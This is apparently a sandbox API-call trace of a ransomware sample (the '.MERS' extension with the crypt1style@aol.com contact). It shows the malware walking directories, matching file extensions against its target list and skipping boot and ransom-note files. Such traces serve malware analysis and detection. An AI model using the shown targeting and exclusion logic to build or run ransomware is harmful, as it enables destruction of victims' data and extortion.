[0257.798] lstrlenW (lpString=".html") returned 5 [0257.798] lstrcmpiW (lpString1=".html", lpString2="p.ini") returned -1 [0257.798] lstrlenW (lpString=".icb") returned 4 [0257.798] lstrcmpiW (lpString1=".icb", lpString2=".ini") returned -1 [0257.798] lstrlenW (lpString=".ics") returned 4 [0257.798] lstrcmpiW (lpString1=".ics", lpString2=".ini") returned -1 [0257.798] lstrlenW (lpString=".iff") returned 4 [0257.798] lstrcmpiW (lpString1=".iff", lpString2=".ini") returned -1 [0257.798] lstrlenW (lpString=".inc") returned 4 [0257.798] lstrcmpiW (lpString1=".inc", lpString2=".ini") returned -1 [0257.798] lstrlenW (lpString=".indd") returned 5 [0257.798] lstrcmpiW (lpString1=".indd", lpString2="p.ini") returned -1 [0257.798] lstrlenW (lpString=".ini") returned 4 [0257.798] lstrcmpiW (lpString1=".ini", lpString2=".ini") returned 0 [0257.798] lstrlenW (lpString="desktop.ini") returned 11 [0257.798] lstrlenW (lpString=".MERS") returned 5 [0257.798] lstrcmpiW (lpString1=".MERS", lpString2="p.ini") returned -1 [0257.798] lstrlenW (lpString="desktop.ini") returned 11 [0257.798] lstrcmpiW (lpString1="boot.ini", lpString2="desktop.ini") returned -1 [0257.798] lstrcmpiW (lpString1="bootfont.bin", lpString2="desktop.ini") returned -1 [0257.798] lstrcmpiW (lpString1="ntldr", lpString2="desktop.ini") returned 1 [0257.798] lstrcmpiW (lpString1="ntdetect.com", lpString2="desktop.ini") returned 1 [0257.798] lstrcmpiW (lpString1="io.sys", lpString2="desktop.ini") returned 1 [0257.799] lstrcmpiW (lpString1="RETURN FILES.txt", lpString2="desktop.ini") returned 1 [0257.799] lstrcmpiW (lpString1="Info.hta", lpString2="desktop.ini") returned 1 [0257.799] lstrcmpiW (lpString1="chrome64b.exe", lpString2="desktop.ini") returned -1 [0257.799] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini") returned 74 [0257.799] FindNextFileW (in: hFindFile=0x63ed88, lpFindFileData=0x35ef808 | out: lpFindFileData=0x35ef808*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x8b1bbad0, ftCreationTime.dwHighDateTime=0x1d50335, ftLastAccessTime.dwLowDateTime=0x8b1bbad0, ftLastAccessTime.dwHighDateTime=0x1d50335, ftLastWriteTime.dwLowDateTime=0x8b1e1c30, ftLastWriteTime.dwHighDateTime=0x1d50335, nFileSizeHigh=0x0, nFileSizeLow=0x17a, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini.id-9C354B42.[crypt1style@aol.com].MERS", cAlternateFileName="DESKTO~1.MER")) returned 1 [0257.799] lstrlenW (lpString="desktop.ini.id-9C354B42.[crypt1style@aol.com].MERS") returned 50 [0257.799] lstrlenW (lpString=".1cd") returned 4 [0257.799] lstrcmpiW (lpString1=".1cd", lpString2="MERS") returned -1 [0257.799] lstrlenW (lpString=".3ds") returned 4 [0257.799] lstrcmpiW (lpString1=".3ds", lpString2="MERS") returned -1 [0257.799] lstrlenW (lpString=".3fr") returned 4 [0257.799] lstrcmpiW (lpString1=".3fr", lpString2="MERS") returned -1 [0257.799] lstrlenW (lpString=".3g2") returned 4 [0257.799] lstrcmpiW (lpString1=".3g2", lpString2="MERS") returned -1 [0257.799] lstrlenW (lpString=".3gp") returned 4 [0257.799] lstrcmpiW (lpString1=".3gp", lpString2="MERS") returned -1 [0257.799] lstrlenW (lpString=".7z") returned 3 [0257.799] lstrcmpiW (lpString1=".7z", lpString2="ERS") returned -1 [0257.799] lstrlenW (lpString=".accda") returned 6 [0257.799] lstrcmpiW (lpString1=".accda", lpString2="].MERS") returned -1 [0257.799] lstrlenW (lpString=".accdb") returned 6 [0257.799] lstrcmpiW (lpString1=".accdb", lpString2="].MERS") returned -1 [0257.799] lstrlenW (lpString=".accdc") returned 6 [0257.799] lstrcmpiW (lpString1=".accdc", lpString2="].MERS") returned -1 [0257.799] lstrlenW (lpString=".accde") returned 6 [0257.799] lstrcmpiW (lpString1=".accde", lpString2="].MERS") returned -1 [0257.799] lstrlenW (lpString=".accdt") returned 6 [0257.799] lstrcmpiW (lpString1=".accdt", lpString2="].MERS") returned -1 [0257.799] lstrlenW (lpString=".accdw") returned 6 [0257.799] lstrcmpiW (lpString1=".accdw", lpString2="].MERS") returned -1 [0257.799] lstrlenW (lpString=".adb") returned 4 [0257.799] lstrcmpiW (lpString1=".adb", lpString2="MERS") returned -1 [0257.799] lstrlenW (lpString=".adp") returned 4 [0257.800] lstrcmpiW (lpString1=".adp", lpString2="MERS") returned -1 [0257.800] lstrlenW (lpString=".ai") returned 3 [0257.800] lstrcmpiW (lpString1=".ai", lpString2="ERS") returned -1 [0257.800] lstrlenW (lpString=".ai3") returned 4 [0257.800] lstrcmpiW (lpString1=".ai3", lpString2="MERS") returned -1 [0257.800] lstrlenW (lpString=".ai4") returned 4 [0257.800] lstrcmpiW (lpString1=".ai4", lpString2="MERS") returned -1 [0257.800] lstrlenW (lpString=".ai5") returned 4 [0257.800] lstrcmpiW (lpString1=".ai5", lpString2="MERS") returned -1 [0257.800] lstrlenW (lpString=".ai6") returned 4 [0257.800] lstrcmpiW (lpString1=".ai6", lpString2="MERS") returned -1 [0257.800] lstrlenW (lpString=".ai7") returned 4 [0257.800] lstrcmpiW (lpString1=".ai7", lpString2="MERS") returned -1 [0257.800] lstrlenW (lpString=".ai8") returned 4 [0257.800] lstrcmpiW (lpString1=".ai8", lpString2="MERS") returned -1 [0257.800] lstrlenW (lpString=".anim") returned 5 [0257.800] lstrcmpiW (lpString1=".anim", lpString2=".MERS") returned -1 [0257.800] lstrlenW (lpString=".arw") returned 4 [0257.800] lstrcmpiW (lpString1=".arw", lpString2="MERS") returned -1 [0257.800] lstrlenW (lpString=".as") returned 3 [0257.800] lstrcmpiW (lpString1=".as", lpString2="ERS") returned -1 [0257.800] lstrlenW (lpString=".asa") returned 4 [0257.800] lstrcmpiW (lpString1=".asa", lpString2="MERS") returned -1 [0257.800] lstrlenW (lpString=".asc") returned 4 [0257.800] lstrcmpiW (lpString1=".asc", lpString2="MERS") returned -1 [0257.800] lstrlenW (lpString=".ascx") returned 5 [0257.800] lstrcmpiW (lpString1=".ascx", lpString2=".MERS") returned -1 [0257.800] lstrlenW (lpString=".asm") returned 4 [0257.800] lstrcmpiW (lpString1=".asm", lpString2="MERS") returned -1 [0257.800] lstrlenW (lpString=".asmx") returned 5 [0257.800] lstrcmpiW (lpString1=".asmx", lpString2=".MERS") returned -1 [0257.800] lstrlenW (lpString=".asp") returned 4 [0257.800] lstrcmpiW (lpString1=".asp", lpString2="MERS") returned -1 [0257.800] lstrlenW (lpString=".aspx") returned 5 [0257.800] lstrcmpiW (lpString1=".aspx", lpString2=".MERS") returned -1 [0257.800] lstrlenW (lpString=".asr") returned 4 [0257.800] lstrcmpiW (lpString1=".asr", lpString2="MERS") returned -1 [0257.801] lstrlenW (lpString=".asx") returned 4 [0257.801] lstrcmpiW (lpString1=".asx", lpString2="MERS") returned -1 [0257.801] lstrlenW (lpString=".avi") returned 4 [0257.801] lstrcmpiW (lpString1=".avi", lpString2="MERS") returned -1 [0257.801] lstrlenW (lpString=".avs") returned 4 [0257.801] lstrcmpiW (lpString1=".avs", lpString2="MERS") returned -1 [0257.801] lstrlenW (lpString=".backup") returned 7 [0257.801] lstrcmpiW (lpString1=".backup", lpString2="m].MERS") returned -1 [0257.801] lstrlenW (lpString=".bak") returned 4 [0257.801] lstrcmpiW (lpString1=".bak", lpString2="MERS") returned -1 [0257.801] lstrlenW (lpString=".bay") returned 4 [0257.801] lstrcmpiW (lpString1=".bay", lpString2="MERS") returned -1 [0257.801] lstrlenW (lpString=".bd") returned 3 [0257.801] lstrcmpiW (lpString1=".bd", lpString2="ERS") returned -1 [0257.801] lstrlenW (lpString=".bin") returned 4 [0257.801] lstrcmpiW (lpString1=".bin", lpString2="MERS") returned -1 [0257.801] lstrlenW (lpString=".bmp") returned 4 [0257.801] lstrcmpiW (lpString1=".bmp", lpString2="MERS") returned -1 [0257.801] lstrlenW (lpString=".bz2") returned 4 [0257.801] lstrcmpiW (lpString1=".bz2", lpString2="MERS") returned -1 [0257.801] lstrlenW (lpString=".c") returned 2 [0257.801] lstrcmpiW (lpString1=".c", lpString2="RS") returned -1 [0257.801] lstrlenW (lpString=".cdr") returned 4 [0257.801] lstrcmpiW (lpString1=".cdr", lpString2="MERS") returned -1 [0257.801] lstrlenW (lpString=".cer") returned 4 [0257.801] lstrcmpiW (lpString1=".cer", lpString2="MERS") returned -1 [0257.801] lstrlenW (lpString=".cf") returned 3 [0257.801] lstrcmpiW (lpString1=".cf", lpString2="ERS") returned -1 [0257.801] lstrlenW (lpString=".cfc") returned 4 [0257.801] lstrcmpiW (lpString1=".cfc", lpString2="MERS") returned -1 [0257.801] lstrlenW (lpString=".cfm") returned 4 [0257.801] lstrcmpiW (lpString1=".cfm", lpString2="MERS") returned -1 [0257.801] lstrlenW (lpString=".cfml") returned 5 [0257.801] lstrcmpiW (lpString1=".cfml", lpString2=".MERS") returned -1 [0257.801] lstrlenW (lpString=".cfu") returned 4 [0257.801] lstrcmpiW (lpString1=".cfu", lpString2="MERS") returned -1 [0257.801] lstrlenW (lpString=".chm") returned 4 [0257.802] lstrcmpiW (lpString1=".chm", lpString2="MERS") returned -1 [0257.802] lstrlenW (lpString=".cin") returned 4 [0257.802] lstrcmpiW (lpString1=".cin", lpString2="MERS") returned -1 [0257.802] lstrlenW (lpString=".class") returned 6 [0257.802] lstrcmpiW (lpString1=".class", lpString2="].MERS") returned -1 [0257.802] lstrlenW (lpString=".clx") returned 4 [0257.802] lstrcmpiW (lpString1=".clx", lpString2="MERS") returned -1 [0257.802] lstrlenW (lpString=".config") returned 7 [0257.802] lstrcmpiW (lpString1=".config", lpString2="m].MERS") returned -1 [0257.802] lstrlenW (lpString=".cpp") returned 4 [0257.802] lstrcmpiW (lpString1=".cpp", lpString2="MERS") returned -1 [0257.802] lstrlenW (lpString=".cr2") returned 4 [0257.802] lstrcmpiW (lpString1=".cr2", lpString2="MERS") returned -1 [0257.802] lstrlenW (lpString=".crt") returned 4 [0257.802] lstrcmpiW (lpString1=".crt", lpString2="MERS") returned -1 [0257.802] lstrlenW (lpString=".crw") returned 4 [0257.802] lstrcmpiW (lpString1=".crw", lpString2="MERS") returned -1 [0257.802] lstrlenW (lpString=".cs") returned 3 [0257.802] lstrcmpiW (lpString1=".cs", lpString2="ERS") returned -1 [0257.802] lstrlenW (lpString=".css") returned 4 [0257.802] lstrcmpiW (lpString1=".css", lpString2="MERS") returned -1 [0257.802] lstrlenW (lpString=".csv") returned 4 [0257.802] lstrcmpiW (lpString1=".csv", lpString2="MERS") returned -1 [0257.802] lstrlenW (lpString=".cub") returned 4 [0257.802] lstrcmpiW (lpString1=".cub", lpString2="MERS") returned -1 [0257.802] lstrlenW (lpString=".dae") returned 4 [0257.802] lstrcmpiW (lpString1=".dae", lpString2="MERS") returned -1 [0257.802] lstrlenW (lpString=".dat") returned 4 [0257.802] lstrcmpiW (lpString1=".dat", lpString2="MERS") returned -1 [0257.802] lstrlenW (lpString=".db") returned 3 [0257.802] lstrcmpiW (lpString1=".db", lpString2="ERS") returned -1 [0257.802] lstrlenW (lpString=".dbf") returned 4 [0257.802] lstrcmpiW (lpString1=".dbf", lpString2="MERS") returned -1 [0257.802] lstrlenW (lpString=".dbx") returned 4 [0257.802] lstrcmpiW (lpString1=".dbx", lpString2="MERS") returned -1 [0257.802] lstrlenW (lpString=".dc3") returned 4 [0257.803] lstrcmpiW (lpString1=".dc3", lpString2="MERS") returned -1 [0257.803] lstrlenW (lpString=".dcm") returned 4 [0257.803] lstrcmpiW (lpString1=".dcm", lpString2="MERS") returned -1 [0257.803] lstrlenW (lpString=".dcr") returned 4 [0257.803] lstrcmpiW (lpString1=".dcr", lpString2="MERS") returned -1 [0257.803] lstrlenW (lpString=".der") returned 4 [0257.803] lstrcmpiW (lpString1=".der", lpString2="MERS") returned -1 [0257.803] lstrlenW (lpString=".dib") returned 4 [0257.803] lstrcmpiW (lpString1=".dib", lpString2="MERS") returned -1 [0257.803] lstrlenW (lpString=".dic") returned 4 [0257.803] lstrcmpiW (lpString1=".dic", lpString2="MERS") returned -1 [0257.803] lstrlenW (lpString=".dif") returned 4 [0257.803] lstrcmpiW (lpString1=".dif", lpString2="MERS") returned -1 [0257.803] lstrlenW (lpString=".divx") returned 5 [0257.803] lstrcmpiW (lpString1=".divx", lpString2=".MERS") returned -1 [0257.803] lstrlenW (lpString=".djvu") returned 5 [0257.803] lstrcmpiW (lpString1=".djvu", lpString2=".MERS") returned -1 [0257.803] lstrlenW (lpString=".dng") returned 4 [0257.803] lstrcmpiW (lpString1=".dng", lpString2="MERS") returned -1 [0257.803] lstrlenW (lpString=".doc") returned 4 [0257.803] lstrcmpiW (lpString1=".doc", lpString2="MERS") returned -1 [0257.803] lstrlenW (lpString=".docm") returned 5 [0257.803] lstrcmpiW (lpString1=".docm", lpString2=".MERS") returned -1 [0257.803] lstrlenW (lpString=".docx") returned 5 [0257.803] lstrcmpiW (lpString1=".docx", lpString2=".MERS") returned -1 [0257.803] lstrlenW (lpString=".dot") returned 4 [0257.803] lstrcmpiW (lpString1=".dot", lpString2="MERS") returned -1 [0257.803] lstrlenW (lpString=".dotm") returned 5 [0257.803] lstrcmpiW (lpString1=".dotm", lpString2=".MERS") returned -1 [0257.803] lstrlenW (lpString=".dotx") returned 5 [0257.803] lstrcmpiW (lpString1=".dotx", lpString2=".MERS") returned -1 [0257.803] lstrlenW (lpString=".dpx") returned 4 [0257.803] lstrcmpiW (lpString1=".dpx", lpString2="MERS") returned -1 [0257.803] lstrlenW (lpString=".dqy") returned 4 [0257.803] lstrcmpiW (lpString1=".dqy", lpString2="MERS") returned -1 [0257.803] lstrlenW (lpString=".dsn") returned 4 [0257.804] lstrcmpiW (lpString1=".dsn", lpString2="MERS") returned -1 [0257.804] lstrlenW (lpString=".dt") returned 3 [0257.804] lstrcmpiW (lpString1=".dt", lpString2="ERS") returned -1 [0257.804] lstrlenW (lpString=".dtd") returned 4 [0257.804] lstrcmpiW (lpString1=".dtd", lpString2="MERS") returned -1 [0257.804] lstrlenW (lpString=".dwg") returned 4 [0257.804] lstrcmpiW (lpString1=".dwg", lpString2="MERS") returned -1 [0257.804] lstrlenW (lpString=".dwt") returned 4 [0257.804] lstrcmpiW (lpString1=".dwt", lpString2="MERS") returned -1 [0257.804] lstrlenW (lpString=".dx") returned 3 [0257.804] lstrcmpiW (lpString1=".dx", lpString2="ERS") returned -1 [0257.804] lstrlenW (lpString=".dxf") returned 4 [0257.804] lstrcmpiW (lpString1=".dxf", lpString2="MERS") returned -1 [0257.804] lstrlenW (lpString=".edml") returned 5 [0257.804] lstrcmpiW (lpString1=".edml", lpString2=".MERS") returned -1 [0257.804] lstrlenW (lpString=".efd") returned 4 [0257.804] lstrcmpiW (lpString1=".efd", lpString2="MERS") returned -1 [0257.804] lstrlenW (lpString=".elf") returned 4 [0257.804] lstrcmpiW (lpString1=".elf", lpString2="MERS") returned -1 [0257.804] lstrlenW (lpString=".emf") returned 4 [0257.804] lstrcmpiW (lpString1=".emf", lpString2="MERS") returned -1 [0257.804] lstrlenW (lpString=".emz") returned 4 [0257.804] lstrcmpiW (lpString1=".emz", lpString2="MERS") returned -1 [0257.804] lstrlenW (lpString=".epf") returned 4 [0257.804] lstrcmpiW (lpString1=".epf", lpString2="MERS") returned -1 [0257.804] lstrlenW (lpString=".eps") returned 4 [0257.804] lstrcmpiW (lpString1=".eps", lpString2="MERS") returned -1 [0257.804] lstrlenW (lpString=".epsf") returned 5 [0257.804] lstrcmpiW (lpString1=".epsf", lpString2=".MERS") returned -1 [0257.804] lstrlenW (lpString=".epsp") returned 5 [0257.804] lstrcmpiW (lpString1=".epsp", lpString2=".MERS") returned -1 [0257.804] lstrlenW (lpString=".erf") returned 4 [0257.804] lstrcmpiW (lpString1=".erf", lpString2="MERS") returned -1 [0257.804] lstrlenW (lpString=".exr") returned 4 [0257.804] lstrcmpiW (lpString1=".exr", lpString2="MERS") returned -1 [0257.804] lstrlenW (lpString=".f4v") returned 4 [0257.804] lstrcmpiW (lpString1=".f4v", lpString2="MERS") returned -1 [0257.805] lstrlenW (lpString=".fido") returned 5 [0257.805] lstrcmpiW (lpString1=".fido", lpString2=".MERS") returned -1 [0257.805] lstrlenW (lpString=".flm") returned 4 [0257.805] lstrcmpiW (lpString1=".flm", lpString2="MERS") returned -1 [0257.805] lstrlenW (lpString=".flv") returned 4 [0257.805] lstrcmpiW (lpString1=".flv", lpString2="MERS") returned -1 [0257.805] lstrlenW (lpString=".frm") returned 4 [0257.805] lstrcmpiW (lpString1=".frm", lpString2="MERS") returned -1 [0257.806] FindNextFileW (in: hFindFile=0x63ed48, lpFindFileData=0x35efa84 | out: lpFindFileData=0x35efa84*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x8b22def0, ftLastAccessTime.dwHighDateTime=0x1d50335, ftLastWriteTime.dwLowDateTime=0x8b22def0, ftLastWriteTime.dwHighDateTime=0x1d50335, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0257.806] FindNextFileW (in: hFindFile=0x63ed48, lpFindFileData=0x35efa84 | out: lpFindFileData=0x35efa84*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac2e8a60, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x2ebf9340, ftLastAccessTime.dwHighDateTime=0x1d4d597, ftLastWriteTime.dwLowDateTime=0x9a98aa40, ftLastWriteTime.dwHighDateTime=0x1d50335, nFileSizeHigh=0x0, nFileSizeLow=0x6000, dwReserved0=0x0, dwReserved1=0x0, cFileName="BCD", cAlternateFileName="")) returned 1 [0258.181] FindNextFileW (in: hFindFile=0x63ef88, lpFindFileData=0x35eee18 | out: lpFindFileData=0x35eee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x14af010, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x904bfa10, ftLastAccessTime.dwHighDateTime=0x1d50335, ftLastWriteTime.dwLowDateTime=0x904bfa10, ftLastWriteTime.dwHighDateTime=0x1d50335, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0258.183] FindNextFileW (in: hFindFile=0x63ef88, lpFindFileData=0x35eee18 | out: lpFindFileData=0x35eee18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90427490, ftCreationTime.dwHighDateTime=0x1d50335, ftLastAccessTime.dwLowDateTime=0x90427490, ftLastAccessTime.dwHighDateTime=0x1d50335, ftLastWriteTime.dwLowDateTime=0x904bfa10, ftLastWriteTime.dwHighDateTime=0x1d50335, nFileSizeHigh=0x0, nFileSizeLow=0xd70, dwReserved0=0x0, dwReserved1=0x0, cFileName="OutlookMUI.XML.id-9C354B42.[crypt1style@aol.com].MERS", cAlternateFileName="OUTLOO~1.MER")) returned 1 [0258.901] FindNextFileW (in: hFindFile=0x63f088, lpFindFileData=0x35ef310 | out: lpFindFileData=0x35ef310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9f0852f1, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaabb4389, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa1ad8615, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0258.901] FindNextFileW (in: hFindFile=0x63f088, lpFindFileData=0x35ef310 | out: lpFindFileData=0x35ef310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ec183f4, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ec183f4, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49c9fe3b, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x278b, dwReserved0=0x0, dwReserved1=0x0, cFileName="16to9Squareframe_Buttongraphic.png", cAlternateFileName="")) returned 1 [0258.949] FindNextFileW (in: hFindFile=0x63f108, lpFindFileData=0x35ef094 | out: lpFindFileData=0x35ef094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9f9e8c42, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa7d4443, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9fbd8be5, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0258.949] FindNextFileW (in: hFindFile=0x63f108, lpFindFileData=0x35ef094 | out: lpFindFileData=0x35ef094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70cace83, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70cace83, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49cc5f99, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x303d, dwReserved0=0x0, dwReserved1=0x0, cFileName="babyblue.png", cAlternateFileName="")) returned 1 [0258.949] lstrlenW (lpString="babyblue.png") returned 12 [0258.949] lstrlenW (lpString=".1cd") returned 4 [0258.949] lstrcmpiW (lpString1=".1cd", lpString2=".png") returned -1 [0258.949] lstrlenW (lpString=".3ds") returned 4 [0258.949] lstrcmpiW (lpString1=".3ds", lpString2=".png") returned -1 [0258.949] lstrlenW (lpString=".3fr") returned 4 [0258.949] lstrcmpiW (lpString1=".3fr", lpString2=".png") returned -1 [0258.949] lstrlenW (lpString=".3g2") returned 4 [0258.949] lstrcmpiW (lpString1=".3g2", lpString2=".png") returned -1 [0258.949] lstrlenW (lpString=".3gp") returned 4 [0258.949] lstrcmpiW (lpString1=".3gp", lpString2=".png") returned -1 [0258.949] lstrlenW (lpString=".7z") returned 3 [0258.949] lstrcmpiW (lpString1=".7z", lpString2="png") returned -1 [0258.949] lstrlenW (lpString=".accda") returned 6 [0258.949] lstrcmpiW (lpString1=".accda", lpString2="ue.png") returned -1 [0258.949] lstrlenW (lpString=".accdb") returned 6 [0258.949] lstrcmpiW (lpString1=".accdb", lpString2="ue.png") returned -1 [0258.949] lstrlenW (lpString=".accdc") returned 6 [0258.949] lstrcmpiW (lpString1=".accdc", lpString2="ue.png") returned -1 [0258.949] lstrlenW (lpString=".accde") returned 6 [0258.950] lstrcmpiW (lpString1=".accde", lpString2="ue.png") returned -1 [0258.950] lstrlenW (lpString=".accdt") returned 6 [0258.950] lstrcmpiW (lpString1=".accdt", lpString2="ue.png") returned -1 [0258.950] lstrlenW (lpString=".accdw") returned 6 [0258.950] lstrcmpiW (lpString1=".accdw", lpString2="ue.png") returned -1 [0258.950] lstrlenW (lpString=".adb") returned 4 [0258.950] lstrcmpiW (lpString1=".adb", lpString2=".png") returned -1 [0258.950] lstrlenW (lpString=".adp") returned 4 [0258.950] lstrcmpiW (lpString1=".adp", lpString2=".png") returned -1 [0258.950] lstrlenW (lpString=".ai") returned 3 [0258.950] lstrcmpiW (lpString1=".ai", lpString2="png") returned -1 [0258.950] lstrlenW (lpString=".ai3") returned 4 [0258.950] lstrcmpiW (lpString1=".ai3", lpString2=".png") returned -1 [0258.950] lstrlenW (lpString=".ai4") returned 4 [0258.950] lstrcmpiW (lpString1=".ai4", lpString2=".png") returned -1 [0258.950] lstrlenW (lpString=".ai5") returned 4 [0258.950] lstrcmpiW (lpString1=".ai5", lpString2=".png") returned -1 [0258.950] lstrlenW (lpString=".ai6") returned 4 [0258.950] lstrcmpiW (lpString1=".ai6", lpString2=".png") returned -1 [0258.950] lstrlenW (lpString=".ai7") returned 4 [0258.950] lstrcmpiW (lpString1=".ai7", lpString2=".png") returned -1 [0258.950] lstrlenW (lpString=".ai8") returned 4 [0258.950] lstrcmpiW (lpString1=".ai8", lpString2=".png") returned -1 [0258.950] lstrlenW (lpString=".anim") returned 5 [0258.950] lstrcmpiW (lpString1=".anim", lpString2="e.png") returned -1 [0258.950] lstrlenW (lpString=".arw") returned 4 [0258.950] lstrcmpiW (lpString1=".arw", lpString2=".png") returned -1 [0258.951] lstrlenW (lpString=".as") returned 3 [0258.951] lstrcmpiW (lpString1=".as", lpString2="png") returned -1 [0258.951] lstrlenW (lpString=".asa") returned 4 [0258.951] lstrcmpiW (lpString1=".asa", lpString2=".png") returned -1 [0258.951] lstrlenW (lpString=".asc") returned 4 [0258.951] lstrcmpiW (lpString1=".asc", lpString2=".png") returned -1 [0258.951] lstrlenW (lpString=".ascx") returned 5 [0258.951] lstrcmpiW (lpString1=".ascx", lpString2="e.png") returned -1 [0258.951] lstrlenW (lpString=".asm") returned 4 [0258.951] lstrcmpiW (lpString1=".asm", lpString2=".png") returned -1 [0258.951] lstrlenW (lpString=".asmx") returned 5 [0258.951] lstrcmpiW (lpString1=".asmx", lpString2="e.png") returned -1 [0258.951] lstrlenW (lpString=".asp") returned 4 [0258.951] lstrcmpiW (lpString1=".asp", lpString2=".png") returned -1 [0258.951] lstrlenW (lpString=".aspx") returned 5 [0258.951] lstrcmpiW (lpString1=".aspx", lpString2="e.png") returned -1 [0258.951] lstrlenW (lpString=".asr") returned 4 [0258.951] lstrcmpiW (lpString1=".asr", lpString2=".png") returned -1 [0258.951] lstrlenW (lpString=".asx") returned 4 [0258.951] lstrcmpiW (lpString1=".asx", lpString2=".png") returned -1 [0258.951] lstrlenW (lpString=".avi") returned 4 [0258.951] lstrcmpiW (lpString1=".avi", lpString2=".png") returned -1 [0258.951] lstrlenW (lpString=".avs") returned 4 [0258.951] lstrcmpiW (lpString1=".avs", lpString2=".png") returned -1 [0258.951] lstrlenW (lpString=".backup") returned 7 [0258.951] lstrcmpiW (lpString1=".backup", lpString2="lue.png") returned -1 [0258.951] lstrlenW (lpString=".bak") returned 4 [0258.951] lstrcmpiW (lpString1=".bak", lpString2=".png") returned -1 [0258.951] lstrlenW (lpString=".bay") returned 4 [0258.951] lstrcmpiW (lpString1=".bay", lpString2=".png") returned -1 [0258.951] lstrlenW (lpString=".bd") returned 3 [0258.951] lstrcmpiW (lpString1=".bd", lpString2="png") returned -1 [0258.951] lstrlenW (lpString=".bin") returned 4 [0258.951] lstrcmpiW (lpString1=".bin", lpString2=".png") returned -1 [0258.952] lstrlenW (lpString=".bmp") returned 4 [0258.952] lstrcmpiW (lpString1=".bmp", lpString2=".png") returned -1 [0258.952] lstrlenW (lpString=".bz2") returned 4 [0258.952] lstrcmpiW (lpString1=".bz2", lpString2=".png") returned -1 [0258.952] lstrlenW (lpString=".c") returned 2 [0258.952] lstrcmpiW (lpString1=".c", lpString2="ng") returned -1 [0258.952] lstrlenW (lpString=".cdr") returned 4 [0258.952] lstrcmpiW (lpString1=".cdr", lpString2=".png") returned -1 [0258.952] lstrlenW (lpString=".cer") returned 4 [0258.952] lstrcmpiW (lpString1=".cer", lpString2=".png") returned -1 [0258.952] lstrlenW (lpString=".cf") returned 3 [0258.952] lstrcmpiW (lpString1=".cf", lpString2="png") returned -1 [0258.952] lstrlenW (lpString=".cfc") returned 4 [0258.952] lstrcmpiW (lpString1=".cfc", lpString2=".png") returned -1 [0258.952] lstrlenW (lpString=".cfm") returned 4 [0258.952] lstrcmpiW (lpString1=".cfm", lpString2=".png") returned -1 [0258.952] lstrlenW (lpString=".cfml") returned 5 [0258.952] lstrcmpiW (lpString1=".cfml", lpString2="e.png") returned -1 [0258.952] lstrlenW (lpString=".cfu") returned 4 [0258.952] lstrcmpiW (lpString1=".cfu", lpString2=".png") returned -1 [0258.952] lstrlenW (lpString=".chm") returned 4 [0258.952] lstrcmpiW (lpString1=".chm", lpString2=".png") returned -1 [0258.952] lstrlenW (lpString=".cin") returned 4 [0258.952] lstrcmpiW (lpString1=".cin", lpString2=".png") returned -1 [0258.952] lstrlenW (lpString=".class") returned 6 [0258.952] lstrcmpiW (lpString1=".class", lpString2="ue.png") returned -1 [0258.952] lstrlenW (lpString=".clx") returned 4 [0258.952] lstrcmpiW (lpString1=".clx", lpString2=".png") returned -1 [0258.952] lstrlenW (lpString=".config") returned 7 [0258.952] lstrcmpiW (lpString1=".config", lpString2="lue.png") returned -1 [0258.952] lstrlenW (lpString=".cpp") returned 4 [0258.952] lstrcmpiW (lpString1=".cpp", lpString2=".png") returned -1 [0258.952] lstrlenW (lpString=".cr2") returned 4 [0258.952] lstrcmpiW (lpString1=".cr2", lpString2=".png") returned -1 [0258.953] lstrlenW (lpString=".crt") returned 4 [0258.953] lstrcmpiW (lpString1=".crt", lpString2=".png") returned -1 [0258.953] lstrlenW (lpString=".crw") returned 4 [0258.953] lstrcmpiW (lpString1=".crw", lpString2=".png") returned -1 [0258.953] lstrlenW (lpString=".cs") returned 3 [0258.953] lstrcmpiW (lpString1=".cs", lpString2="png") returned -1 [0258.953] lstrlenW (lpString=".css") returned 4 [0258.953] lstrcmpiW (lpString1=".css", lpString2=".png") returned -1 [0258.953] lstrlenW (lpString=".csv") returned 4 [0258.953] lstrcmpiW (lpString1=".csv", 